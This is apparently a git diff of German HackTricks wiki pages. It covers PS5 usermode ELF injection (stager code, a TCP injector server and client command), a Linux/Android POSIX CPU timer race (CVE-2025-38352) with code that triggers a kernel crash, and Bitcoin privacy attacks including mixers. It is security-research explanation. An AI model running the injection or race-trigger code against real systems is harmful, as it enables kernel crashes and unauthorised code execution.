+1. Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply.
+2. Save thread context: registers, PC, SP, flags.
+3. Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed.
+4. Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs.
+5. Restore original context and continue.
+
+Use cases:
+- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory.
+- Invoke helper routines to fetch returned entrypoints and payload-args pointers.
+
+Example of driving the ELF loader:
+```c
+intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
+intptr_t args  = elfldr_payload_args(target_pid);
+printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
+```
+Der loader mappt Segmente, löst Imports auf, wendet Relocations an und gibt den entry zurück (häufig ein CRT bootstrap) sowie einen opaken payload_args pointer, den dein stager an das payload’s main() übergibt.
+
+## Threaded stager und sauberes Detach
+
+Ein minimaler stager innerhalb des Ziels erzeugt einen neuen pthread, der das ELF’s main ausführt, und löst dann int3 aus, um den injector zum Detach zu signalisieren:
+```c
+int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
+pthread_t thread;
+functions->pthread_create_ptr(&thread, 0,
+(void*(*)(void*))functions->elf_main, functions->payload_args);
+asm("int3");
+return 0;
+}
+```
+- Die SCEFunctions/payload_args pointers werden vom loader/SDK glue bereitgestellt.
+- Nach dem breakpoint und detach läuft der payload in seinem eigenen thread weiter.
+
+## End-to-End-Pipeline (PS5-Referenzimplementierung)
+
+Eine funktionierende Implementierung wird als kleiner TCP injector server sowie ein client script ausgeliefert:
+
+- Der NineS server hört auf TCP 9033 und empfängt einen Header, der den Zielprozessnamen gefolgt vom ELF image enthält:
+```c
+typedef struct __injector_data_t{
+char       proc_name[MAX_PROC_NAME];
+Elf64_Ehdr elf_header;
+} injector_data_t;
+```
+- Verwendung des Python-Clients:
+```bash
+python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
+```
+Beispiel für Hello-world payload (loggt in klog):
+```c
+#include <stdio.h>
+#include <unistd.h>
+#include <ps5/klog.h>
+int main(){
+klog_printf("Hello from PID %d\n", getpid());
+return 0;
+}
+```
+## Praktische Überlegungen
+
+- Offsets und Konstanten (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) sind firmware-spezifisch und müssen pro Release aktualisiert werden.
+- Hypervisor-Schutzmaßnahmen erzwingen ausschließlich datenbasierte Kernel-Schreibzugriffe; versuche nicht, CR0.WP oder CR4.SMEP zu patchen.
+- JIT-Speicher ist eine Alternative: Einige Prozesse stellen PS5 JIT APIs bereit, um ausführbare Seiten zuzuweisen. Das Umschalten der vm_map-Protektion entfernt die Notwendigkeit, auf JIT-/Mirroring-Tricks angewiesen zu sein.
+- Mache das Speichern/Wiederherstellen von Registern robust; bei Fehlern kannst du einen Deadlock verursachen oder das Ziel zum Absturz bringen.
+
+## Öffentliche Tools
+
+- PS5 SDK (dynamisches Linking, Kernel R/W Wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
+- ELF loader: https://github.com/ps5-payload-dev/elfldr
+- Injector server: https://github.com/buzzer-re/NineS/
+- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
+- Verwandte Projekte: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
+
+## Referenzen
+
+- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
+- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
+- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
+- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
+- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
+- [Mira](https://github.com/OpenOrbis/mira-project)
+- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
+- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
+
+{{#include ../banners/hacktricks-training.md}}
--- a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
+++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@ -1,19 +1,19 @@
 # POSIX CPU Timers TOCTOU race (CVE-2025-38352)

-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

-Diese Seite dokumentiert eine TOCTOU-Rennbedingung in Linux/Android POSIX CPU timers, die den Timerzustand korruptieren und den Kernel zum Absturz bringen kann und unter bestimmten Umständen in Richtung privilege escalation gelenkt werden kann.
+Diese Seite dokumentiert eine TOCTOU race condition in Linux/Android POSIX CPU timers, die den Timerzustand beschädigen und den Kernel zum Absturz bringen kann, und unter bestimmten Umständen in eine privilege escalation gelenkt werden kann.

 - Betroffene Komponente: kernel/time/posix-cpu-timers.c
- Primitiv: Ablauf vs Löschung Race beim task exit
+- Primitive: expiry vs deletion race unter task exit
 - Konfigurationsabhängig: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

-Kurzer interner Überblick (relevant für exploitation)
- Drei CPU-Clocks steuern das Accounting der Timer über cpu_clock_sample():
+Kurze interne Zusammenfassung (relevant for exploitation)
+- Drei CPU-Uhren treiben das Accounting für Timer über cpu_clock_sample() an:
 - CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: nur utime
+- CPUCLOCK_VIRT: utime only
 - CPUCLOCK_SCHED: task_sched_runtime()
- Bei Timererstellung wird ein Timer an eine task/pid gekoppelt und die timerqueue-Knoten initialisiert:
+- Bei der Timererstellung wird ein Timer mit einer task/pid verbunden und die timerqueue-Knoten initialisiert:
 ```c
 static int posix_cpu_timer_create(struct k_itimer *new_timer) {
 struct pid *pid;
@ -27,7 +27,7 @@ rcu_read_unlock();
 return 0;
 }
 ```
- Arming fügt in eine per-base timerqueue ein und kann den next-expiry cache aktualisieren:
+- Das Arming fügt Einträge in eine per-base timerqueue ein und kann den next-expiry cache aktualisieren:
 ```c
 static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
 struct posix_cputimer_base *base = timer_base(timer, p);
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
 if (newexp < base->nextevt) base->nextevt = newexp;
 }
 ```
- Der Fast path vermeidet teure Verarbeitung, es sei denn zwischengespeicherte Ablaufzeiten deuten auf ein mögliches Auslösen hin:
+- Fast path vermeidet teure Verarbeitung, es sei denn zwischengespeicherte Ablaufzeiten deuten auf mögliches Auslösen hin:
 ```c
 static inline bool fastpath_timer_check(struct task_struct *tsk) {
 struct posix_cputimers *pct = &tsk->posix_cputimers;
@ -50,7 +50,7 @@ return true;
 return false;
 }
 ```
- Ablauf sammelt abgelaufene Timer, kennzeichnet sie als ausgelöst, entfernt sie aus der Warteschlange; die tatsächliche Zustellung wird aufgeschoben:
+- Ablauf sammelt abgelaufene Timer, markiert sie als ausgelöst, verschiebt sie aus der Warteschlange; die tatsächliche Zustellung wird verzögert:
 ```c
 #define MAX_COLLECTED 20
 static u64 collect_timerqueue(struct timerqueue_head *head,
@ -69,8 +69,8 @@ return U64_MAX;
 }
 ```
 Zwei Ablaufverarbeitungsmodi
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: Das Ablaufereignis wird über task_work auf die Ziel-Task verschoben
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: Das Ablaufereignis wird direkt im IRQ-Kontext verarbeitet
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: Die Ablaufverarbeitung wird mittels task_work auf den Ziel-Task verschoben
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: Die Ablaufverarbeitung wird direkt im IRQ-Kontext behandelt
 ```c
 void run_posix_cpu_timers(void) {
 struct task_struct *tsk = current;
@ -90,7 +90,7 @@ lockdep_posixtimer_exit();
 }
 #endif
 ```
-Im IRQ-context-Pfad wird die firing list außerhalb von sighand verarbeitet.
+Im IRQ-context path wird die firing list außerhalb von sighand verarbeitet.
 ```c
 static void handle_posix_cpu_timers(struct task_struct *tsk) {
 struct k_itimer *timer, *next; unsigned long flags, start;
@ -114,44 +114,45 @@ spin_unlock(&timer->it_lock);
 }
 }
 ```
-Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
+Ursache: TOCTOU zwischen Ablauf im IRQ-Kontext und gleichzeitiger Löschung während des Task-Exits
+
 Preconditions
 - CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- The target task is exiting but not fully reaped
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
+- Der Ziel-Task beendet sich, ist aber noch nicht vollständig reaped
+- Ein anderer Thread ruft gleichzeitig posix_cpu_timer_del() für denselben Timer auf

 Sequence
-1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
-2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
-3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
-4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
-5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+1) update_process_times() löst run_posix_cpu_timers() im IRQ-Kontext für den beendenden Task aus.
+2) collect_timerqueue() setzt ctmr->firing = 1 und verschiebt den Timer in die temporäre firing-Liste.
+3) handle_posix_cpu_timers() gibt sighand via unlock_task_sighand() frei, um Timer außerhalb der Sperre zu liefern.
+4) Unmittelbar nach dem Unlock kann der beendende Task reaped werden; ein Sibling-Thread führt posix_cpu_timer_del() aus.
+5) In diesem Zeitfenster kann posix_cpu_timer_del() daran scheitern, den Zustand via cpu_timer_task_rcu()/lock_task_sighand() zu erwerben und überspringt damit die normale in-flight-Prüfung, die timer->it.cpu.firing überprüft. Die Löschung wird so durchgeführt, als ob nicht firing wäre, wodurch der Zustand während der Ablaufbehandlung korruptiert wird und zu Abstürzen/UB führt.

 Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+- Mit CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y wird der Ablauf auf task_work verschoben; exit_task_work läuft vor exit_notify, daher tritt die IRQ-Zeit-Überlappung mit dem Reaping nicht auf.
+- Selbst dann, wenn der Task bereits im Beenden ist, schlägt task_work_add() fehl; die Abfrage von exit_state macht beide Modi konsistent.

 Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
+- Füge eine frühe Rückgabe hinzu, falls current task sich im Beenden befindet, und verhindere so jegliche Verarbeitung:
 ```c
 // kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
 if (tsk->exit_state)
 return;
 ```
- Dadurch wird verhindert, dass handle_posix_cpu_timers() für gerade beendete Tasks betreten wird, wodurch das Zeitfenster entfällt, in dem posix_cpu_timer_del() it.cpu.firing übersehen und mit der Ablaufverarbeitung um Ressourcen konkurrieren könnte.
+- Dies verhindert das Betreten von handle_posix_cpu_timers() für beendende Tasks und eliminiert das Zeitfenster, in dem posix_cpu_timer_del() it.cpu.firing übersehen und mit der Ablaufverarbeitung um die Wette laufen könnte.

 Impact
- Kernel-Speicherbeschädigung von Timer-Strukturen während gleichzeitiger Ablauf-/Löschvorgänge kann unmittelbare Abstürze (DoS) verursachen und ist ein starkes Primitive für privilege escalation aufgrund der Möglichkeiten zur beliebigen Kernel-Zustandsmanipulation.
+- Kernel-Speicherkorruption von Timer-Strukturen während gleichzeitiger Ablauf-/Löschvorgänge kann sofortige Abstürze (DoS) verursachen und stellt ein mächtiges Primitive zur Privilegieneskalation dar, da es beliebige Manipulationen des Kernel-Zustands ermöglicht.

 Triggering the bug (safe, reproducible conditions)
 Build/config
- Stellen Sie sicher, dass CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n gesetzt ist und verwenden Sie einen Kernel ohne den exit_state-Gating-Fix.
+- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.

 Runtime strategy
- Zielen Sie auf einen Thread, der kurz vor dem Beenden steht, und hängen Sie einen CPU-Timer daran an (pro Thread oder prozessweite Uhr):
- Für pro Thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- Für prozessweite Uhr: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Rüsten Sie mit einer sehr kurzen initialen Ablaufzeit und einem kleinen Intervall, um Eintritte in den IRQ-Pfad zu maximieren:
+- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Setze ihn mit einer sehr kurzen initialen Ablaufzeit und kleinem Intervall, um IRQ-Pfad-Eintritte zu maximieren:
 ```c
 static timer_t t;
 static void setup_cpu_timer(void) {
@ -165,31 +166,31 @@ its.it_interval.tv_nsec = 1;        // re-fire
 if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
 }
 ```
- Aus einem Geschwister-Thread denselben Timer gleichzeitig löschen, während der Ziel-Thread beendet wird:
+- Von einem sibling-Thread denselben Timer gleichzeitig löschen, während der Ziel-Thread beendet wird:
 ```c
 void *deleter(void *arg) {
 for (;;) (void)timer_delete(t);     // hammer delete in a loop
 }
 ```
- Race amplifiers: hohe Scheduler-Tickrate, CPU-Last, wiederholte Thread-Exit/Recreate-Zyklen. Der Absturz tritt typischerweise auf, wenn posix_cpu_timer_del() das Erkennen eines firing überspringt, weil task lookup/locking direkt nach unlock_task_sighand() fehlschlägt.
+- Race amplifiers: hohe Scheduler-Tick-Rate, hohe CPU-Auslastung, wiederholte Thread-Exit/Neu-Erstell-Zyklen. Der Absturz tritt typischerweise auf, wenn posix_cpu_timer_del() es versäumt, ein Auslösen zu bemerken, weil der Task-Lookup/-Lock direkt nach unlock_task_sighand() fehlschlägt.

-Erkennung und Härtung
- Gegenmaßnahme: apply the exit_state guard; vorzugsweise CONFIG_POSIX_CPU_TIMERS_TASK_WORK aktivieren, wenn möglich.
- Beobachtbarkeit: tracepoints/WARN_ONCE um unlock_task_sighand()/posix_cpu_timer_del() hinzufügen; alarmieren, wenn it.cpu.firing==1 zusammen mit fehlgeschlagener cpu_timer_task_rcu()/lock_task_sighand() beobachtet wird; auf timerqueue-Inkonsistenzen rund um task exit achten.
+Detection and hardening
+- Mitigation: exit_state-Guard anwenden; nach Möglichkeit CONFIG_POSIX_CPU_TIMERS_TASK_WORK aktivieren.
+- Observability: tracepoints/WARN_ONCE um unlock_task_sighand()/posix_cpu_timer_del() hinzufügen; Alarm schlagen, wenn it.cpu.firing==1 zusammen mit fehlgeschlagenem cpu_timer_task_rcu()/lock_task_sighand() beobachtet wird; auf timerqueue-Inkonsistenzen beim Task-Exit achten.

-Audit-Hotspots (für Reviewer)
+Audit hotspots (for reviewers)
 - update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
+- __run_posix_cpu_timers() Auswahl (TASK_WORK vs IRQ path)
+- collect_timerqueue(): setzt ctmr->firing und verschiebt Nodes
+- handle_posix_cpu_timers(): entfernt sighand bevor die firing-Schleife startet
+- posix_cpu_timer_del(): verlässt sich auf it.cpu.firing, um in-flight expiry zu erkennen; diese Prüfung wird übersprungen, wenn Task-Lookup/Lock während Exit/Reap fehlschlägt

 Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
+- Das offenlegte Verhalten ist eine zuverlässige Kernel-Crash-Primitive; um das in eine privilege escalation zu verwandeln, wird typischerweise eine zusätzliche kontrollierbare Überlappung (object lifetime or write-what-where influence) benötigt, die den Umfang dieser Zusammenfassung überschreitet. Betrachte jede PoC als potenziell destabilisierend und führe sie nur in Emulatoren/VMs aus.

-## Referenzen
+## References
 - [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
 - [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
 - [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)

-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/blockchain/blockchain-and-crypto-currencies/README.md
+++ b/src/blockchain/blockchain-and-crypto-currencies/README.md
@ -2,177 +2,185 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Grundlegende Konzepte
+## Grundkonzepte

- **Smart Contracts** werden als Programme definiert, die auf einer Blockchain ausgeführt werden, wenn bestimmte Bedingungen erfüllt sind, und die Ausführung von Vereinbarungen ohne Zwischeninstanzen automatisieren.
- **Decentralized Applications (dApps)** bauen auf Smart Contracts auf und verfügen über ein benutzerfreundliches Frontend sowie ein transparentes, prüfbares Backend.
- **Tokens & Coins** unterscheiden sich dahingehend, dass Coins als digitales Geld dienen, während Tokens in bestimmten Kontexten Wert oder Eigentum repräsentieren.
- **Utility Tokens** gewähren Zugriff auf Dienste, und **Security Tokens** kennzeichnen Eigentum an Vermögenswerten.
+- **Smart Contracts** werden als Programme definiert, die auf einer Blockchain ausgeführt werden, wenn bestimmte Bedingungen erfüllt sind, und automatisieren Ausführungen von Vereinbarungen ohne Zwischeninstanzen.
+- **Decentralized Applications (dApps)** bauen auf Smart Contracts auf und bieten ein benutzerfreundliches Frontend sowie ein transparentes, prüfbares Backend.
+- **Tokens & Coins** unterscheiden sich dahingehend, dass Coins als digitales Geld dienen, während Tokens Wert oder Eigentum in spezifischen Kontexten repräsentieren.
+- **Utility Tokens** gewähren Zugang zu Dienstleistungen, und **Security Tokens** signalisieren Eigentum an Vermögenswerten.
 - **DeFi** steht für Decentralized Finance und bietet Finanzdienstleistungen ohne zentrale Autoritäten.
- **DEX** und **DAOs** bezeichnen jeweils Decentralized Exchange Platforms und Decentralized Autonomous Organizations.
+- **DEX** und **DAOs** beziehen sich auf Decentralized Exchange Platforms bzw. Decentralized Autonomous Organizations.

 ## Konsensmechanismen

-Konsensmechanismen stellen sichere und abgestimmte Transaktionsvalidierungen auf der Blockchain sicher:
+Konsensmechanismen sorgen für sichere und einvernehmliche Transaktionsvalidierung in der Blockchain:

- **Proof of Work (PoW)** beruht auf Rechenleistung zur Verifikation von Transaktionen.
- **Proof of Stake (PoS)** verlangt, dass Validatoren eine bestimmte Menge an Tokens halten, und reduziert im Vergleich zu PoW den Energieverbrauch.
+- **Proof of Work (PoW)** beruht auf Rechenleistung zur Transaktionsverifikation.
+- **Proof of Stake (PoS)** verlangt von Validatoren, eine bestimmte Menge an Tokens zu halten, und reduziert den Energieverbrauch im Vergleich zu PoW.

-## Bitcoin-Grundlagen
+## Bitcoin Grundlagen

 ### Transaktionen

-Bitcoin-Transaktionen umfassen das Übertragen von Mitteln zwischen Adressen. Transaktionen werden durch digitale Signaturen validiert, womit sichergestellt wird, dass nur der Eigentümer des privaten Schlüssels Überweisungen initiieren kann.
+Bitcoin-Transaktionen beinhalten die Übertragung von Mitteln zwischen Adressen. Transaktionen werden durch digitale Signaturen validiert, wodurch sichergestellt wird, dass nur der Eigentümer des Private Keys Überweisungen initiieren kann.

-#### Wichtige Komponenten:
+#### Hauptkomponenten:

 - **Multisignature Transactions** erfordern mehrere Signaturen, um eine Transaktion zu autorisieren.
- Transaktionen bestehen aus **inputs** (Geldquelle), **outputs** (Ziel), **fees** (an Miner gezahlt) und **scripts** (Transaktionsregeln).
+- Transaktionen bestehen aus **Eingängen** (Quelle der Mittel), **Ausgängen** (Ziel), **Gebühren** (an Miner gezahlt) und **Skripten** (Transaktionsregeln).

 ### Lightning Network

-Zielt darauf ab, die Skalierbarkeit von Bitcoin zu verbessern, indem mehrere Transaktionen innerhalb eines Channels ermöglicht werden und lediglich der Endzustand an die Blockchain gesendet wird.
+Zielt darauf ab, die Skalierbarkeit von Bitcoin zu verbessern, indem mehrere Transaktionen innerhalb eines Kanals erlaubt werden und nur der finale Zustand in die Blockchain gesendet wird.

-## Bedenken zur Bitcoin-Privatsphäre
+## Bitcoin-Privatsphäre-Bedenken

-Privacy-Angriffe, wie **Common Input Ownership** und **UTXO Change Address Detection**, nutzen Transaktionsmuster aus. Strategien wie **Mixers** und **CoinJoin** verbessern die Anonymität, indem sie Transaktionsverknüpfungen zwischen Nutzern verschleiern.
+Privacy-Angriffe, wie **Common Input Ownership** und **UTXO Change Address Detection**, nutzen Transaktionsmuster aus. Strategien wie **Mixers** und **CoinJoin** verbessern die Anonymität, indem sie Verbindungen zwischen Transaktionen und Nutzern verschleiern.

-## Bitcoins anonym erwerben
+## Anonyme Beschaffung von Bitcoins

-Methoden umfassen Barhandel, Mining und die Nutzung von Mixern. **CoinJoin** mischt mehrere Transaktionen, um die Rückverfolgbarkeit zu erschweren, während **PayJoin** CoinJoins als normale Transaktionen tarnt, um die Privatsphäre weiter zu erhöhen.
+Methoden umfassen Bartransaktionen, Mining und die Nutzung von Mixern. **CoinJoin** mischt mehrere Transaktionen, um Rückverfolgbarkeit zu erschweren, während **PayJoin** CoinJoins als normale Transaktionen tarnt, um die Privatsphäre weiter zu erhöhen.

 # Bitcoin-Privatsphäre-Angriffe

 # Zusammenfassung der Bitcoin-Privatsphäre-Angriffe

-Im Bitcoin-Umfeld sind die Privatsphäre von Transaktionen und die Anonymität von Nutzern häufig problematisch. Hier eine vereinfachte Übersicht mehrerer gängiger Methoden, mit denen Angreifer die Bitcoin-Privatsphäre gefährden können.
+In der Welt von Bitcoin sind die Privatsphäre von Transaktionen und die Anonymität der Nutzer häufig Gegenstand von Bedenken. Hier ist ein vereinfachter Überblick über mehrere gängige Methoden, mit denen Angreifer die Bitcoin-Privatsphäre kompromittieren können.

 ## **Common Input Ownership Assumption**

-Es ist allgemein selten, dass Inputs verschiedener Nutzer aufgrund der damit verbundenen Komplexität in einer einzigen Transaktion kombiniert werden. Daher wird oft angenommen, dass **zwei Input-Adressen in derselben Transaktion demselben Eigentümer gehören**.
+Es ist allgemein selten, dass Inputs von verschiedenen Nutzern in einer einzigen Transaktion kombiniert werden, aufgrund der damit verbundenen Komplexität. Daher wird oft angenommen, dass **zwei Input-Adressen in derselben Transaktion demselben Besitzer gehören**.

 ## **UTXO Change Address Detection**

-Ein UTXO, also **Unspent Transaction Output**, muss in einer Transaktion vollständig ausgegeben werden. Wird nur ein Teil an eine andere Adresse gesendet, geht der Rest an eine neue Change-Adresse. Beobachter können annehmen, dass diese neue Adresse dem Sender gehört, wodurch die Privatsphäre gefährdet wird.
+Eine UTXO, oder **Unspent Transaction Output**, muss in einer Transaktion vollständig ausgegeben werden. Wenn nur ein Teil davon an eine andere Adresse gesendet wird, geht der Rest an eine neue Change-Adresse. Beobachter können annehmen, dass diese neue Adresse dem Sender gehört, wodurch die Privatsphäre kompromittiert wird.

 ### Beispiel

-Zur Abschwächung können Mixing-Services oder die Verwendung mehrerer Adressen helfen, die Eigentumsverhältnisse zu verschleiern.
+Um dem entgegenzuwirken, können Mixing-Dienste oder die Verwendung mehrerer Adressen helfen, die Zuordnung zu verschleiern.

 ## **Social Networks & Forums Exposure**

-Nutzer teilen manchmal ihre Bitcoin-Adressen online, wodurch es **einfach wird, die Adresse mit ihrem Eigentümer zu verknüpfen**.
+Nutzer teilen manchmal ihre Bitcoin-Adressen online, wodurch es **einfach wird, die Adresse mit ihrem Besitzer zu verknüpfen**.

 ## **Transaction Graph Analysis**

-Transaktionen können als Graphen visualisiert werden und offenbaren potenzielle Verbindungen zwischen Nutzern basierend auf dem Geldfluss.
+Transaktionen können als Graphen visualisiert werden, wodurch potenzielle Verbindungen zwischen Nutzern anhand des Geldflusses sichtbar werden.

 ## **Unnecessary Input Heuristic (Optimal Change Heuristic)**

-Diese Heuristik basiert auf der Analyse von Transaktionen mit mehreren Inputs und Outputs, um zu erraten, welcher Output die Change ist, die an den Sender zurückgeht.
+Diese Heuristik basiert auf der Analyse von Transaktionen mit mehreren Inputs und Outputs, um zu erraten, welcher Output das als Wechsel zurück an den Sender gehende Guthaben ist.

 ### Beispiel
 ```bash
 2 btc --> 4 btc
 3 btc     1 btc
 ```
-Wenn das Hinzufügen weiterer Inputs das Change-Output größer macht als jeder einzelne Input, kann das die Heuristik verwirren.
+If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.

-## **Erzwungene Adresswiederverwendung**
+## **Forced Address Reuse**

-Angreifer können kleine Beträge an bereits verwendete Adressen senden, in der Hoffnung, dass der Empfänger diese in zukünftigen Transaktionen mit anderen Inputs kombiniert und dadurch Adressen miteinander verknüpft.
+Angreifer können kleine Beträge an bereits verwendete Adressen schicken, in der Hoffnung, dass der Empfänger diese später mit anderen Inputs in zukünftigen Transaktionen zusammenführt und dadurch Adressen miteinander verknüpft.

-### Korrektes Wallet-Verhalten
+### Correct Wallet Behavior

-Wallets sollten vermeiden, Coins zu verwenden, die auf bereits verwendeten, leeren Adressen empfangen wurden, um dieses privacy leak zu verhindern.
+Wallets sollten vermeiden, Münzen zu verwenden, die auf bereits verwendeten, leeren Adressen empfangen wurden, um dieses privacy leak zu verhindern.

-## **Weitere Blockchain-Analyse-Techniken**
+## **Other Blockchain Analysis Techniques**

- **Exact Payment Amounts:** Transaktionen ohne Change sind höchstwahrscheinlich zwischen zwei Adressen, die demselben Nutzer gehören.
- **Round Numbers:** Eine runde Zahl in einer Transaktion deutet auf eine Zahlung hin, wobei der nicht-runde Output vermutlich das Change ist.
- **Wallet Fingerprinting:** Verschiedene Wallets haben einzigartige Muster bei der Erstellung von Transaktionen, die Analysten erlauben, die verwendete Software zu identifizieren und möglicherweise die Change-Adresse zu bestimmen.
- **Amount & Timing Correlations:** Die Offenlegung von Transaktionszeiten oder -beträgen kann Transaktionen nachvollziehbar machen.
+- **Exact Payment Amounts:** Transaktionen ohne Change deuten wahrscheinlich auf zwei Adressen desselben Nutzers hin.
+- **Round Numbers:** Eine runde Zahl in einer Transaktion deutet darauf hin, dass es sich um eine Zahlung handelt, wobei der nicht-runde Ausgang wahrscheinlich der Change ist.
+- **Wallet Fingerprinting:** Verschiedene Wallets haben einzigartige Muster bei der Erstellung von Transaktionen, die Analysten erlauben, die verwendete Software zu identifizieren und möglicherweise die Change-Adresse zu ermitteln.
+- **Amount & Timing Correlations:** Die Offenlegung von Transaktionszeiten oder -beträgen kann Transaktionen rückverfolgbar machen.

 ## **Traffic Analysis**

-Durch Überwachen des Netzwerkverkehrs können Angreifer möglicherweise Transaktionen oder Blöcke mit IP-Adressen verknüpfen und so die Privatsphäre der Nutzer beeinträchtigen. Dies gilt besonders, wenn eine Entität viele Bitcoin-Nodes betreibt, was ihre Fähigkeit zur Überwachung von Transaktionen erhöht.
+Durch das Überwachen des Netzwerkverkehrs können Angreifer Transaktionen oder Blöcke mit IP-Adressen verknüpfen und so die Privatsphäre der Nutzer gefährden. Dies gilt besonders, wenn eine Entität viele Bitcoin-Knoten betreibt, was ihre Fähigkeit zur Überwachung von Transaktionen erhöht.

 ## More

-Für eine umfassende Liste von Privacy-Angriffen und -Verteidigungen besuchen Sie [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
+Für eine umfassende Liste von Privacy-Angriffen und -Abwehrmaßnahmen besuchen Sie [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).

 # Anonymous Bitcoin Transactions

 ## Ways to Get Bitcoins Anonymously

- **Cash Transactions**: Bitcoin bar erwerben.
- **Cash Alternatives**: Geschenkkarten kaufen und online gegen Bitcoin tauschen.
- **Mining**: Die privateste Methode, Bitcoins zu verdienen, ist Mining, besonders solo, da Mining-Pools die IP-Adresse des Miners kennen könnten. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretisch könnte das Stehlen von Bitcoin eine weitere Methode sein, sie anonym zu erwerben, es ist jedoch illegal und nicht empfehlenswert.
+- **Cash Transactions**: Erwerb von Bitcoin mit Bargeld.
+- **Cash Alternatives**: Kauf von Geschenkkarten und deren Tausch online gegen Bitcoin.
+- **Mining**: Die privateste Methode, Bitcoins zu verdienen, ist das Mining, besonders wenn solo betrieben, da Mining-Pools die IP-Adresse des Miners kennen können. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
+- **Theft**: Theoretisch könnte auch der Diebstahl von Bitcoin eine anonyme Erwerbsmethode sein, obwohl es illegal und nicht empfohlen ist.

 ## Mixing Services

-Durch die Nutzung eines Mixing-Services kann ein Nutzer Bitcoins senden und im Gegenzug andere Bitcoins erhalten, was die Rückverfolgung des ursprünglichen Besitzers erschwert. Das setzt jedoch Vertrauen in den Service voraus, keine Logs zu führen und die Bitcoins tatsächlich zurückzugeben. Alternative Mixing-Optionen sind Bitcoin-Casinos.
